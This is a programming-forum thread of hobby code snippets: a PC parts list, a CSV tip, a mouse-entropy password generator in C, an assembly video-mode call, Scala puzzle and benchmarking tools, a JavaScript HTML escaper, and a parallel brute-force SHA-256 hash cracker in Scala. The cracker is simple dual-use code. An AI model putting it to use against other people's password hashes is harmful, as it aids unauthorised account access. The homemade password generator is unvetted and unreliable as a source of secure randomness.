Motherboard: Asus ROG MAXIMUS X HERO (WI-FI AC)

RAM: G.Skill Trident Z RGB 32GB (4 x 8GB) DDR4-3600 Memory

SSD: Samsung 960 Pro 512Gb M.2-2280 Solid State Drive

SSD 2: Samsung 970 EVO Plus 1TB M.2-2280 Solid State Drive

HDD: WD Black 6TB 3.5" 7200RPM Internal Hard Drive

HDD 2: Seagate Barracuda PRO 4TB 3.5" 7200RPM Internal Hard Drive

GPU: EVGA GeForce GTX 1080 Ti FTW3

Case: LIAN LI O11 Dynamic XL

PSU: EVGA SuperNOVA P2 1000W 80+ Platinum Fully-Modular ATX Power Supply

Case Fans: Corsair LL120

Fan Controller: Corsair Commander Pro

 

Set Up

  • Mouse: Razer Deathadder Elite
  • Keyboard: Razer Blackwidow X Chroma
  • Mousepad: Steelseries QcK Gaming Mousepad
  • Monitor: Asus ROG Swift PG278QR
  • Audio
    • AMP: Sennheiser GSX1000
    • Headphones: Sennheiser 58X
    • Speakers: Bose Companion 2 Series III
  • Oculus Rift + Touch 3 Sensor Roomscale Setup
Link to comment
Share on other sites

Link to post
Share on other sites

  • 2 weeks later...

No code just a really handy tip for diagnosing issues when parsing CSV's.

 

Count the number of newlines in your data/file, then compare it to the number of rows in the parsed CSV.  Should be pretty much the same +- 2-3 lines (depending on how empty rows + headers are handled).  If it's too different have it throw and error.  Really hand for catching CSV's with quotes/commas not properly escaped.  

 

Only situation you really have to watch out for is when the data in a field can contain a new line, but if you're comfortable with regex you can usually find a way to get around that.

 

 

 

Link to comment
Share on other sites

Link to post
Share on other sites

93 lines of subpar goodness.

/* 
 ----| Shitware |----
 password generator, uses the mouse as a source of entropy.
 CodeNova
 3/26/2019
 -----------------------
 Results from ENT test
 http://www.fourmilab.ch/random/
  
 Entropy = 0.999986 bits per bit.

 Optimum compression would reduce the size
 of this 90032 bit file by 0 percent.

 Chi square distribution for 90032 samples is 1.69, and randomly
 would exceed this value 19.37 percent of the times.

 Arithmetic mean value of data bits is 0.4978 (0.5 = random).
 Monte Carlo value for Pi is 3.153066667 (error 0.37 percent).
 Serial correlation coefficient is -0.004062 (totally uncorrelated = 0.0). 
*/

#include <windows.h>
#include <stdio.h>
#include <stdint.h>

#define PASSL 16
#define SAMLIM 2000

//void RAW_TEST(void);

int main(int argc, char **argv) {	
	//RAW_TEST(); //used for randomness analysis
	HWND hwnd;		//I hate windows API
	POINT aPoint;
	uint64_t x = 0, w = 0, s = 0xb5ad4eceda1ce2a9;
	uint32_t t = 0, lastX = 0, lastY = 0, result = 0, samples = 0;
	char password[PASSL] = {0};
	int i = 0;

	printf("Move Your Mouse!\n");
	
	while(samples < SAMLIM) {
		do {
			GetCursorPos(&aPoint);
		} while((aPoint.x == lastX) && (aPoint.y == lastY));
		lastX = aPoint.x;
		lastY = aPoint.y;
		t ^= (t << 1);				//Xor Shift Buffer
		t += (lastX ^ lastY);		
		x *= x;						//Middle Square Weyl Sequence PRNG
		x += (w += s);
		x = (x>>32) | (x<<32);		
		result = t ^ x;				//Xor results
		result = result&0xFF;		//Mask
		samples++;
		//char rule check, upper, lower, digits
		if(((result>47) && (result<58)) || ((result>64) && (result<91)) || ((result>96) && (result<123)))
			password[samples%PASSL] = result;
		printf("\rSamples: %0.5d", samples);
	}
	printf("\n\nNew Password: ");
	for(i = 0; i < PASSL; i++) {
		printf("%c", password[i]);
	}
	printf("\n");
	
	return 0;
}
/*
void RAW_TEST(void) {
	HWND hwnd;
	POINT aPoint;
	uint64_t x = 0, w = 0, s = 0xb5ad4eceda1ce2a9;
	uint32_t t = 0, lastX = 0, lastY = 0, result = 0;
	
	while(1) {
		do {
			GetCursorPos(&aPoint);
		} while((aPoint.x == lastX) && (aPoint.y == lastY));
		lastX = aPoint.x;
		lastY = aPoint.y;
		t ^= (t << 1);				//Xor Shift Buffer
		t += (lastX ^ lastY);		
		x *= x;						//Middle Square Weyl Sequence PRNG
		x += (w += s);
		x = (x>>32) | (x<<32);		
		result = t ^ x;				//Xor results
		result = result&0xFF;		//Mask
		printf("%c", result);
	}
}
*/
Spoiler

image.png.c25cd8d5f53d64594d6da6ac1b76a57e.png

 

Spoiler

Edit: Change to test


//output *.xbm image data
//prog.exe >> out.xbm
//gimp for render
int RAW_TEST(void) {
	HWND hwnd;
	POINT aPoint;
	uint64_t x = 0, w = 0, s = 0xb5ad4eceda1ce2a9;
	uint32_t t = 0, lastX = 0, lastY = 0, result = 0;
	
	uint32_t HEIGHT = 480, WIDTH = 480, sampleSize = 0;
	uint32_t samples = (HEIGHT*WIDTH)/8;
	
	printf("#define out_width %d\n", WIDTH);
	printf("#define out_height %d\n", HEIGHT);
	printf("static char out_bits[] = {\n");
	
	while(sampleSize < samples) {
		do {
			GetCursorPos(&aPoint);
		} while((aPoint.x == lastX) && (aPoint.y == lastY));
		lastX = aPoint.x;
		lastY = aPoint.y;
		t ^= (t << 1);				//Xor Shift Buffer
		t += (lastX ^ lastY);		
		x *= x;						//Middle Square Weyl Sequence PRNG
		x += (w += s);
		x = (x>>32) | (x<<32);		
		result = t ^ x;				//Xor results
		result = result&0xFF;		//Mask
		printf("0x%0.2X,", result);	//print hex
		if((sampleSize%15) == 14)
			printf("\n");
		sampleSize++;
	}
	printf("\b};\n");
	return 0;
}

Visual RND test

out.png.3dd4606b06feedbdb675680277280274.png

 

 

out.xbm

Link to comment
Share on other sites

Link to post
Share on other sites

  • 4 weeks later...

Changes video mode from ugly MS-DOS 80x25 to good 320x200 256 color (assembly, real mode, so no way to run this on a normal OS at all only smthn like a bootloader)

mov ah, 0x00
mov al, 0x13
int 0x10

 

Ryzen 7 3700X / 16GB RAM / Optane SSD / GTX 1650 / Solus Linux

Link to comment
Share on other sites

Link to post
Share on other sites

I love Scala.

 

I've been doing a lot of Calcudoku puzzles lately, and my scratch work involves writing a list of all the combinations of numbers that satisfy the criteria for a cage then eliminating possibilities. Obviously I only do that for large cages (4+ numbers), but even then it takes up a lot of time and doesn't involve a whole lot of thinking.

 

I wrote a Scala program that takes as input the number of cells in the cage, the allowed numbers, and the operator and result for the cage, then spits out a list of all valid sets of numbers.

 

Things I do in one line in the program without stretching the definition of "in one line":

  • Prompt the user for a list of numbers, read the list of numbers to a string, split that string into a list of tokens, convert it to a list of integers, and sort it from greatest to least.
  • Build a new array of integers from the first one with repeated elements (to allow more than one of a single element in the combinations), generate the set of all combinations of those elements of a certain length, then filter out all the combinations that don't satisfy the cage's condition.
  • Convert an array of integers to a string with elements separated by the operator character and print it.

Seriously, Scala is all the best parts of Java, Haskell, and Python wrapped into a single language.

 

object CalcudokuSetGenerator extends App {
  var cont = true
  
  do{
    val len = scala.io.StdIn.readLine("Length: ").toInt
    val nums = scala.io.StdIn.readLine("Possible Numbers (separated by spaces): ").split(" ").map(_.toInt).sortWith(_>_)
    val opSel = scala.io.StdIn.readLine("Operator (+,-,*,/,|): ")
    val result = scala.io.StdIn.readLine("Result: ").toInt
    println
    
    val perms = nums.foldLeft(List[Int]()){case (a, b) => a ++ List.fill(len)(b)}.combinations(len).toList.filter(opFun(_, opSel, result))
    
    printList(perms, opSel)
    println
    
    cont = scala.io.StdIn.readLine("Continue? (y/n): ").toLowerCase.equals("y")
    println
  }while(cont)
  
  def opFun(lst: List[Int], str: String, res: Int): Boolean = str match{
    case "+" => lst.sum == res
    case "-" => lst.head - lst.tail.sum == res
    case "*" => lst.product == res
    case "/" => lst.head/lst.tail.product == res
    case "|" => lst.foldLeft(0){case (a, b) => a|b} == res
    case _ => true
  }
  
  def printList(lst: List[List[Int]], opstr: String): Unit = {
    for(arr <- lst){
      println(arr.mkString(opstr))
    }
  }
}

 

"Do as I say, not as I do."

-Because you actually care if it makes sense.

Link to comment
Share on other sites

Link to post
Share on other sites

  • 1 month later...

Escaping HTML Characters in Javascript

	function escapeHTML(str)
	{
	    if(typeof str == 'string')
	    {
	        return str.replace(/[^a-z\d\s]/gi, function(c)
	        {
	            return '&#' + c.charCodeAt(0).toString() + ';';
	        });
	    }
	    else
	    {
	        return str;
	    }
	}

Javascript doesn't include a built in function for escaping HTML characters.  Something people forget about is that in addition to the standard escape sequences of 

< => &lt;

> => &gt;

etc.

 

You can also escape represent any character as it's unicode value in hex or in base 10.

For instance, the ampersand & has a ascii/unicode decimal value of 38, so it could be represented as &#38;

This function will replace anything that isn't either a space or an alphanumeric character as it's escaped value.

 

For those of you who read it this far before replying and complaining, yes, I am well aware of innerText, but there are times when you're building an HTML string, and it's much easier to go ahead and escape any text as the string's being built, rather than having to build it, then go back to each node and add the necessary text in.

Link to comment
Share on other sites

Link to post
Share on other sites

I've been benchmarking different types of code in Scala, and I just got the bulk benchmarking utility right about where I want it.

 

With full documentation, no less.

 

package bulk_bench

import java.io.{File, PrintWriter}

import ichi.bench.Thyme
import ichi.bench.Thyme.Benched

import scala.util.{Failure, Success, Try}

/** A tool for bulk benchmarking of collections of functions/methods on collections of inputs
  * 
  * This class takes an arbitrary collection of functions and inputs and generates two files,
  * one containing the detailed benchmarking log and one containing a table of the raw data.
  *
  * @author Joseph Schulte
  */
class BulkBench(tst: Thyme = Thyme.warmedBench(verbose = println)){
  
  /** Takes both a collection of functions and a collection of inputs and benchmarks all of the functions across all of the inputs.
    * @param title A string used for tagging and organizing logs
    * @param id A number used for tagging and organizing logs
    * @param inputs The collection of input values
    * @param funcs The collection of functions
    */
  def benchRun[T](title: String, id: Int, inputs: Vector[T])(funcs: Vector[(String, T => Any)]): Unit = {
    val datFile = new PrintWriter(new File(s"Bench_${title}_${id}_${inputs.head}-${inputs.last}_Lump.txt"))
    val logFile = new PrintWriter(new File(s"Bench_${title}_${id}_${inputs.head}-${inputs.last}_Log.txt"))
    
    def logWriter(str: String = ""): Unit = {println(str); logFile.println(str)}
    
    datFile.print(s"Inputs ${funcs.map(_._1).mkString(" ")}")
    logWriter(s"Benching: $title\nID: $id")
    
    for(inp <- inputs){
      benchAllLog(id, inp, logWriter, datFile)(funcs)
      logFile.flush()
      datFile.flush()
    }
    
    logFile.close()
    datFile.close()
  }
  
  /** Takes a single input and benches all functions at that input.
    * @param id A number used for tagging and organizing logs
    * @param inp The input value used to benchmark the functions
    * @param logWriter A method that prints a string to the log files
    * @param dataLog A PrintWriter for writing the raw data
    * @param funcs The collection of functions to benchmark
    */
  def benchAllLog[T](id: Int, inp: T, logWriter: String => Unit, dataLog: PrintWriter)(funcs: Vector[(String, T => Any)]): Unit = {
    logWriter(s"\n\nInput: $inp")
    dataLog.print(s"\n$inp")
    
    for((name, func) <- funcs){
      logWriter(s"\n--$name--")
      benchSingleTry(func(inp)) match{
        case Success(result) =>
          logWriter(result.toString)
          dataLog.print(s" ${1000*result.runtime}")
        case Failure(e) =>
          logWriter(s"Failed: $e")
          dataLog.print(" -1")
      }
    }
  }
  
  /** Takes a single zero-argument function and benchmarks it, handling errors/exceptions
    * @param func The function to benchmark
    * @return Try wrapper containing the benchmark results if successful and an error if not
    */
  def benchSingleTry(func: => Any): Try[Benched] = try{
    val benchResult = Benched.empty
    tst.benchWarm(tst.Warm(func))(benchResult)
    Success(benchResult)
  }catch{
    case e: Throwable => Failure(e)
  }
}

 

"Do as I say, not as I do."

-Because you actually care if it makes sense.

Link to comment
Share on other sites

Link to post
Share on other sites

A parallel-processing brute-force SHA-256 cracker:

 

import java.security.MessageDigest

import scala.annotation.tailrec
import scala.collection.parallel.immutable.ParVector

object EncryptionCracker {
  def crackLazy(hash: String, charSet: Vector[Char], len: Int, num: Int): Option[String] = {
    @tailrec
    def getMatch(lst: LazyList[String], bid: Int): Option[String] = {
      print(s"Checking Block $bid... ")
      def hit = lst.take(num).to(ParVector).find(str => getHash(str).equalsIgnoreCase(hash))
      def nxt = lst.drop(num)
      hit match{
        case Some(str) =>
          println("Match")
          Some(str)
        case None if nxt.nonEmpty =>
          println("Loop")
          getMatch(nxt, bid + 1)
        case None =>
          println("Fail")
          None
      }
    }
    
    def perms = charSet
      .flatMap(Vector.fill(len)(_))
      .combinations(len)
      .flatMap(_.permutations.map(_.mkString)).to(LazyList)
    
    getMatch(perms, 0)
  }
  
  def getHash(str: String): String = {
    val digester = MessageDigest.getInstance("SHA-256")
    digester.digest(str.getBytes("UTF-8")).map("%02x".format(_)).mkString
  }
}

 

"Do as I say, not as I do."

-Because you actually care if it makes sense.

Link to comment
Share on other sites

Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now


×